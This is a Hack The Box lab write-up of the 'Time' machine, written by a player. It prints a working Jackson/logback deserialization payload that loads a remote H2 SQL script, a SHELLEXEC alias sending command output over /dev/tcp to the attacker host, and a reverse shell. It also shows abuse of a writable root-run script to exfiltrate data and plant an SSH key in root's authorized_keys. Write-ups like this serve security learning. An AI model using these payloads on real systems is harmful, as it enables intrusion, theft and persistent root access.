Short description to include any strange things to be dealt with...This machine was dissapointingly easy for a medium box. It definitely should have been classified 'Easy'. A simple test at the beginning revealed a verbose error message. Some quick googling leads to an easy to use exploit. After that simple enumeration leads to a weakly protected script that gets executed as root, and leaves the player a million routes to root through arbitrary code execution.
Useful Skills and Tools
Useful thing 1
description with generic example
Useful thing 2
description with generic example
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.214. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves all types of output (.nmap,.gnmap, and .xml) with filenames of <name>.
┌──(zweilos㉿kali)-[~/htb/time]
└─$ nmap -sCV -n -p- -Pn -v -oA time 10.10.10.214
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-15 18:08 EDT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 43.18 seconds
ony two ports open, 22- SSH, and 80 - HTTP
port 80 HTTP
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unexpected character ('<' (code 60)): expected a valid value (number, String, array, object, 'true', 'false' or 'null')
Did a test for XSS, got an unhandled Java exception
(function ($) {
'use strict';
/*==================================================================
[ Validate ]*/
var input = $('.validate-input .input100');
$('.validate-form').on('submit', function () {
var check = true;
for (var i = 0; i < input.length; i++) {
if (validate(input[i]) == false) {
showValidate(input[i]);
check = false;
}
}
return check;
});
$('.validate-form .input100').each(function () {
$(this).focus(function () {
hideValidate(this);
});
});
function validate(input) {
if ($(input).attr('type') == 'email' || $(input).attr('name') == 'email') {
if ($(input).val().trim().match(/^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{1,5}|[0-9]{1,3})(\]?)$/) == null) {
return false;
}
}
else {
if ($(input).val().trim() == '') {
return false;
}
}
}
function showValidate(input) {
var thisAlert = $(input).parent();
$(thisAlert).addClass('alert-validate');
}
function hideValidate(input) {
var thisAlert = $(input).parent();
$(thisAlert).removeClass('alert-validate');
}
}) (jQuery);
Checked the source code for the page, noticed a file main.js
^--nothing?
Searched for exploits related to com.fasterxml.jackson.core
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > /dev/tcp/10.10.14.159/8081')
test.sql
"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
AFter some testing, I discovered that the POC code had some \ that they were using to excape the quotes. These were causing the validator in this case to throw an error.
After I removed them from my code I got a connection back, downloading my test.sql.
zweilos@kali:~/htb/time$ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 36640
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
I got a connection back on my machine, proving the remote code execution worked. Next I replaced the id command with a reverse shell.
Initial Foothold
zweilos@kali:~/htb/time$ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 36644
bash: cannot set terminal process group (894): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ which python3
which python3
/usr/bin/python3
pericles@time:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
pericles@time:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 8081
zweilos@kali:~/htb/time$ stty size
27 104
zweilos@kali:~/htb/time$ stty raw -echo
nc -lvnp 8081aa:~/htb/time$
pericles@time:/var/www/html$ stty rows 27 columns 104
pericles@time:/var/www/html$ export TERM=xterm-256color
After changing the code in my test.sql file and sending it again, I recieved a reverse shell from the machine. I quickly upgraded to a full TTY and began enumeration.
I did a search for files that the group pericles had access to.
pericles@time:/dev/shm$ ls -la
total 4
drwxrwxrwt 2 root root 60 Mar 16 21:30 .
drwxr-xr-x 18 root root 3980 Mar 16 14:16 ..
-rw------- 1 pericles pericles 161 Mar 16 21:30 payloadah34hL
pericles@time:/dev/shm$ cat payloadah34hL
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.159:8082/test.sql'"}]
The exploit code that I had used to access the machine was saved as a file in /dev/shm apparently.
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
I also found the file /usr/bin/timer_backup.sh. It looked like it was probably a cron script that made backups of the website data. I decided it would be a good place to check to see if there was anything interesting in old backups
pericles@time:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
pericles@time:/etc$ ls -la cron
ls: cannot access 'cron': No such file or directory
pericles@time:/etc$ cd cron.d
pericles@time:/etc/cron.d$ ls -la
total 24
drwxr-xr-x 2 root root 4096 Sep 21 03:22 .
drwxr-xr-x 102 root root 4096 Feb 10 15:20 ..
-rw-r--r-- 1 root root 102 Feb 13 2020 .placeholder
-rw-r--r-- 1 root root 201 Feb 14 2020 e2scrub_all
-rw-r--r-- 1 root root 712 Mar 27 2020 php
-rw-r--r-- 1 root root 191 Apr 23 2020 popularity-contest
pericles@time:/etc/cron.d$ cat php
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
# This purges session files in session.save_path older than X,
# where X is defined in seconds as the largest value of
# session.gc_maxlifetime from all your SAPI php.ini files
# or 24 minutes if not defined. The script triggers only
# when session.save_handler=files.
#
# WARNING: The scripts tries hard to honour all relevant
# session PHP options, but if you do something unusual
# you have to disable this script and take care of your
# sessions yourself.
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
pericles@time:/etc/cron.d$ cat e2scrub_all
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
I searched through all of the crons and didn't find the script.
Next, I used grep to search for the name of the script in all of the files in /etc and got a hit in the systemd/system/web_backup.service file.
pericles@time:/etc$ ls -la systemd/system/web_backup.service
-rw-r--r-- 1 root root 106 Oct 23 04:57 systemd/system/web_backup.service
This service was running as root.
pericles@time:/etc$ ls -la /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Mar 16 22:25 /usr/bin/timer_backup.sh
I double checked the permissions on the script, and saw that it was fully owned by pericles, and I could both read and write it. I decided to change the script to do a backup of root's Private key.
┌──(zweilos㉿kali)-[~/htb/time]
└─$ nc -lvnp 8082 > time.key
listening on [any] 8082 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 33180
┌──(zweilos㉿kali)-[~/htb/time]
└─$ cat time.key
cat: /root/.ssh/id_rsa: No such file or directory
Unfortunately it appeared as if there was no id_rsa file, or the script was not running as root.
Next I changed the script so it would send me the user ID information of the context the script was being run under
┌──(zweilos㉿kali)-[~/htb/time]
└─$ nc -lvnp 8082 > time.key
listening on [any] 8082 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 33196
┌──(zweilos㉿kali)-[~/htb/time]
└─$ cat time.key
uid=0(root) gid=0(root) groups=0(root)
It was definitely running as root.
#!/bin/bash
echo 'ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBnfsDltTXRqAn25L5a+Z9ODhDJJYO8Wm37tG//hh4kyxcn6IhZ+pykEkDLSsLIUsomyvY5cC8hFLBw96Hs0w0U=' >> /root/.ssh/authorized_keys
echo "Key away! Try to log in through SSH." > /dev/tcp/10.10.14.159/8082
Next I tried sending my SSH public key to root's authorized_keys file. Each time I modified the script it only took a few seconds until it connected back, but just in case I added a message to let me know when it was done.
┌──(zweilos㉿kali)-[~/htb/time]
└─$ nc -lvnp 8082 148 ⨯ 1 ⚙
listening on [any] 8082 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 33236
Key away! Try to log in through SSH.
Root.txt
┌──(zweilos㉿kali)-[~/htb/time]
└─$ ssh root@10.10.10.214 -i root.key 1 ⚙
The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established.
ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 16 Mar 2021 10:44:04 PM UTC
System load: 0.31
Usage of /: 18.6% of 27.43GB
Memory usage: 27%
Swap usage: 0%
Processes: 237
Users logged in: 0
IPv4 address for ens160: 10.10.10.214
IPv6 address for ens160: dead:beef::250:56ff:feb9:e959
168 updates can be installed immediately.
47 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Feb 9 14:41:33 2021
root@time:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
time
root@time:~# cat root.txt
14335af5e1db1ea31c221882be1389c6
root@time:~# ls -la
total 5816
drwx------ 7 root root 4096 Mar 16 22:43 .
drwxr-xr-x 20 root root 4096 Mar 16 22:43 ..
-rw-r--r-- 1 root root 5900858 Mar 16 22:43 backup.zip
lrwxrwxrwx 1 root root 9 Oct 2 13:46 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Feb 10 15:18 .cache
drwx------ 3 root root 4096 Feb 10 15:18 .config
drwxr-xr-x 3 root root 4096 Feb 10 15:18 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-r-------- 1 root root 33 Mar 16 14:17 root.txt
-rw-r--r-- 1 root root 66 Oct 22 08:45 .selected_editor
drwxr-xr-x 3 root root 4096 Feb 10 15:18 snap
drwx------ 2 root root 4096 Feb 10 15:18 .ssh
-rwxr--r-- 1 root root 88 Oct 22 08:49 timer_backup.sh
-rw------- 1 root root 929 Feb 9 14:42 .viminfo
root@time:~# cat timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
And that was it!
note: If you ran script earlier to log your console, make sure to type exit until you get the "Script done." message, back on your box.
Thanks to egotisticalSW & felamos for something interesting or useful about this machine.
If you like this content and would like to see more, please consider buying me a coffee!